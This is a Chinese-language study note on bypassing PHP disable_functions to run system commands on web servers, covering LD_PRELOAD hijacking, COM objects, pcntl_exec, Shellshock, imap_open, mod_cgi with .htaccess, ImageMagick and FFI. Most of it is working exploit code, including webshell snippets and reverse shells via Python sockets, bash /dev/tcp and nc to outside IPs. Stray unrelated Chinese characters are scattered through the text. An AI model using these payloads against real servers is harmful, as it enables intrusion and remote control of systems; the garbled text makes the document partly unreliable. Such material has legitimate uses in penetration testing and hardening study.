本文僅作為學習記錄须喂,如有侵權(quán)闷叉,請聯(lián)系刪除猫态!
環(huán)境搭建
由于大部分的disable_functions繞過技巧是針對Linux操作系統(tǒng)的该园,所以需要搭建環(huán)境:
本次搭建的環(huán)境為:
Ubuntu 16.04 + php5.6 + apache2.4.18
apache環(huán)境搭建:
sudo apt-get install apache2
php環(huán)境搭建:
1、添加網(wǎng)易源:
sudo add-apt-repository 'deb http://mirrors.163.com/ubuntu/ xenial main restricted universe multiverse'
2拉馋、添加PPA
sudo add-apt-repository ppa:ondrej/php
3榨为、安裝php5.6
sudo apt-get update
sudo apt-get install php5.6
# 安裝完后檢測
sudo php -v
詳情參考:https://ubuntuqa.com/article/10016.html
apache設(shè)置php解析支持:
首先查看/etc/apache2/mods-available該目錄下是否存在php5.6.conf和php5.6.load這兩個文件
php解析部分在的配置在/etc/apache2/mods-available下的php5.6.conf和php5.6.load中,apache2.conf文件中并沒有將這兩個文件包含進來煌茴,只要包含進去就OK了
最后一步随闺,開啟apache服務(wù),檢測php文件是否正常解析:
詳情參考:https://blog.csdn.net/daaikuaichuan/article/details/84865438
環(huán)境配置
查看disable_funcitons禁用函數(shù):
發(fā)現(xiàn)默認情況下蔓腐,并沒有禁用敏感的函數(shù)矩乐,如:
system,eval,exec,shell_exec,passthru,popen,proc_open
還是可以正常執(zhí)行系統(tǒng)命令,那么找到php.ini的disable_functions合住,加入如上函數(shù)绰精,禁止執(zhí)行系統(tǒng)命令
這時已經(jīng)無法執(zhí)行系統(tǒng)命令
利用環(huán)境變量LD_PRELOAD繞過:
LD_PRELOAD是Linux系統(tǒng)的下一個有趣的環(huán)境變量:“它允許你定義在程序運行前優(yōu)先加載的動態(tài)鏈接庫撒璧。這個功能主要就是用來有選擇性的載入不同動態(tài)鏈接庫中的相同函數(shù)透葛。通過這個環(huán)境變量,我們可以在主程序和其動態(tài)鏈接庫的中間加載別的動態(tài)鏈接庫卿樱,甚至覆蓋正常的函數(shù)庫僚害。一方面,我們可以以此功能來使用自己的或是更好的函數(shù)(無需別人的源碼),而另一方面萨蚕,我們也可以以向別人的程序注入程序靶草,從而達到特定的目的。
1岳遥、
項目地址:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
利用條件:
Linux環(huán)境
putenv()奕翔、mail()可用
基本原理:
通過環(huán)境變量 LD_PRELOAD 劫持系統(tǒng)函數(shù),來突破 disable_functions 限制執(zhí)行操作系統(tǒng)命令
利用過程:
bypass_disablefunc.php和bypass_disablefunc_x64.so上傳到目標服務(wù)器
執(zhí)行命令:
# cmd: 執(zhí)行的命令
# outpath: 讀寫權(quán)限目錄
# sopath: so文件的絕對路徑
http://site.com/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so
成功執(zhí)行系統(tǒng)命令浩蓉!
2派继、LD_PRELOAD劫持
php的mail函數(shù)在執(zhí)行過程中會默認調(diào)用系統(tǒng)程序/usr/sbin/sendmail,如果我們能劫持sendmail程序捻艳,再用mail函數(shù)來觸發(fā)就能實現(xiàn)我們的目的
事前準備環(huán)境:
sudo apt-get install sendmail
service sendmail start
sendmail函數(shù)在運行過程動態(tài)調(diào)用了很多標準庫函數(shù)驾窟,我們從中隨便選取一個庫函數(shù)geteuid進行測試。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("rm /tmp/check.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
當這個共享庫中的geteuid被調(diào)用時认轨,嘗試加載payload()函數(shù)绅络,執(zhí)行命令.
在攻擊機上(注意編譯平臺應(yīng)和靶機平臺相近,至少不能一個是32位一個是64位)把它編譯為一個位置信息無關(guān)的動態(tài)共享庫
gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so
把hack.so放到WEB目錄嘁字,然后編寫一個PHP文件進行測試
<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("test@163.com","","","","");
?>
執(zhí)行之前恩急,事先在tmp目錄下創(chuàng)建check.txt文件
系統(tǒng)成功執(zhí)行了刪除命令
具體原理請參考:PHP中通過bypass disable functions執(zhí)行系統(tǒng)命令的幾種方式
windows 系統(tǒng)組件繞過:
如果php版本>5.3.15 需保證php根目錄的 ext 文件夾下確保存有 php_com_dotnet.dll 這個文件,在php.ini中加入(高版本擴展要自己添加):
extension=php_com_dotnet.dll
去除com.allow_dcom = true前面的;號
com.allow_dcom = true
利用代碼:
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一個COM對象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //調(diào)用對象方法來執(zhí)行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
黑名單繞過:
exec:
<?php
echo exec('whoami');
?>
shell_exec:
<?php
echo shell_exec('whoami');
?>
system:
<?php
system('whoami');
?>
passthru:
<?php
passthru("whoami");
?>
popen:
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{
echo fread($handle, 1024);
}
pclose($handle);
?>
proc_open:
<?php
$command="ifconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{
echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}
?>
pcntl_exec:
pcntl是linux下的一個擴展纪蜒,可以支持php的多線程操作假栓。(與python結(jié)合反彈shell) pcntl_exec函數(shù)的作用是在當前進程空間執(zhí)行指定程序,版本要求:PHP 4 >= 4.2.0, PHP 5
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("119.x.x.x",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
或者:
#利用pcntl_exec()執(zhí)行test.sh
<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>
test.sh:
#!/bin/bash
/bin/bash -i >& /dev/tcp/119.x.x.x/8000 0>&1 #反彈shell
利用ShellShock繞過:
利用條件:
目標OS存在Bash破殼(CVE-2014-6271)漏洞
PHP 5.*
linux
putenv()霍掺、mail()可用
CVE-2014-6271檢測:
Bash版本小于等于4.3可能存在漏洞:
# 查看bash版本
bash --version
本地驗證匾荆,使用如下命令:
env x='() { :;}; echo vulnerable' bash –c "echo This is a test"
若存在漏洞,將會回顯:
vulnerable
This is a test
利用原理:
一般函數(shù)體內(nèi)的代碼不會被執(zhí)行杆烁,但破殼漏洞會錯誤的將"{}"花括號外的命令進行執(zhí)行
php里的某些函數(shù)(例如:mail()牙丽、imap_mail())能調(diào)用popen或其他能夠派生bash子進程的函數(shù),可以通過這些函數(shù)來觸發(fā)破殼漏洞(CVE-2014-6271)執(zhí)行命令兔魂。
利用代碼:
<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
利用imap_open函數(shù)任意命令執(zhí)行
利用條件:目標開啟了imap擴展烤芦,并支持imap_open()函數(shù)
利用原理:
PHP 的imap_open函數(shù)中的漏洞可能允許經(jīng)過身份驗證的遠程攻擊者在目標系統(tǒng)上執(zhí)行任意命令。該漏洞的存在是因為受影響的軟件的imap_open函數(shù)在將郵箱名稱傳遞給rsh或ssh命令之前不正確地過濾郵箱名稱析校。如果啟用了rsh和ssh功能并且rsh命令是ssh命令的符號鏈接构罗,則攻擊者可以通過向目標系統(tǒng)發(fā)送包含-oProxyCommand參數(shù)的惡意IMAP服務(wù)器名稱來利用此漏洞。成功的攻擊可能允許攻擊者繞過其他禁用的exec 受影響軟件中的功能智玻,攻擊者可利用這些功能在目標系統(tǒng)上執(zhí)行任意shell命令
利用代碼:
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
利用Apache+mod_cgi+.htaccess繞過:
利用條件:
啟用mod-cgi
允許.htaccess文件
.htaccess可寫
利用原理:
在apache的WEB環(huán)境中遂唧,我們經(jīng)常會使用.htaccess這個文件來確定某個目錄下的URL重寫規(guī)則,特別是一些開源的CMS或者框架當中經(jīng)常會用到吊奢,比如著名的開源論壇discuz!盖彭,就可以通過.htaccess文件實現(xiàn)URL的靜態(tài)化,大部分PHP框架,例如ThinkPHP和Laravel召边,在apache環(huán)境下會用.htaccess文件實現(xiàn)路由規(guī)則铺呵。但是如果.htaccess文件被攻擊者修改的話,攻擊者就可以利用apache的mod_cgi模塊隧熙,直接繞過PHP的任何限制片挂,來執(zhí)行系統(tǒng)命令
利用代碼:
<?php
$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反彈shell
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定這個header,否則會返回500
$shellfile .="$cmd";
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET['checked']))
{
@file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND);
header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //執(zhí)行環(huán)境的檢查
}
else
{
$modcgi = in_array('mod_cgi',apache_get_modules()); // 檢測mod_cgi是否開啟
$writable = is_writable('.'); //檢測當前目錄是否可寫
$htaccess = !empty($_SERVER['HTACCESS']);//檢測是否啟用了.htaccess
checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
checkEnabled("Iswritable",$writable,"Yes","No");
checkEnabled("htaccessworking",$htaccess,"Yes","No");
if(!($modcgi && $writable&& $htaccess))
{
echo "Error. All of the above mustbe true for the script to work!"; //必須滿足所有條件
}
else
{
checkEnabled("Backing
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in
.htaccess.bak","Failed!"); //備份一下原有.htaccess
checkEnabled("Write
.htaccessfile",file_put_contents('.htaccess',"Options
+ExecCGI\nAddHandlercgi-script
.dizzle"),"Succeeded!","Failed!");//.dizzle贞盯,我們的特定擴展名
checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//寫入文件
checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//給權(quán)限
echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //調(diào)用
}
}
?>
利用ImageMagick漏洞繞過:
利用條件:
Imagick <= 3.3.0
PHP >= 5.4
利用原理:
ImageTragick(CVE-2016-3714)
漏洞的利用過程非常簡單宴卖,只要將精心構(gòu)造的圖片上傳至使用漏洞版本的ImageMagick,ImageMagick會自動對其格式進行轉(zhuǎn)換邻悬,轉(zhuǎn)換過程中就會執(zhí)行攻擊者插入在圖片中的命令症昏。因此很多具有頭像上傳、圖片轉(zhuǎn)換父丰、圖片編輯等具備圖片上傳功能的網(wǎng)站都可能會中招
ImageMagick下載地址:https://sourceforge.net/projects/imagemagick/
環(huán)境搭建過程參考:
https://www.php.net/manual/zh/imagick.installation.php
利用代碼:
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
具體原理和利用參考:https://www.anquanke.com/post/id/83872
FFI外部函數(shù)接口繞過
利用條件:
php 7.4
ffi.enable=true
利用原理:
FFI(Foreign Function Interface)肝谭,即外部函數(shù)接口,允許從用戶區(qū)調(diào)用C代碼蛾扇。
當PHP所有的命令執(zhí)行函數(shù)被禁用后攘烛,通過PHP 7.4的新特性FFI可以實現(xiàn)用PHP代碼調(diào)用C代碼的方式,先聲明C中的命令執(zhí)行函數(shù)镀首,然后再通過FFI變量調(diào)用該C函數(shù)即可Bypass disable_functions
利用代碼:
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int system(char *command);", // this is a regular C declaration
"libc.so.6");
// call C's printf()
$a='nc -e /usr/bin/zsh 127.0.0.1 8888';
$ffi->system($a);
?>
參考如下:
disable_functions繞過總結(jié)
PHP Webshell下繞過disable_function的方法
PHP中通過bypass disable functions執(zhí)行系統(tǒng)命令的幾種方式
PHP安全配置講解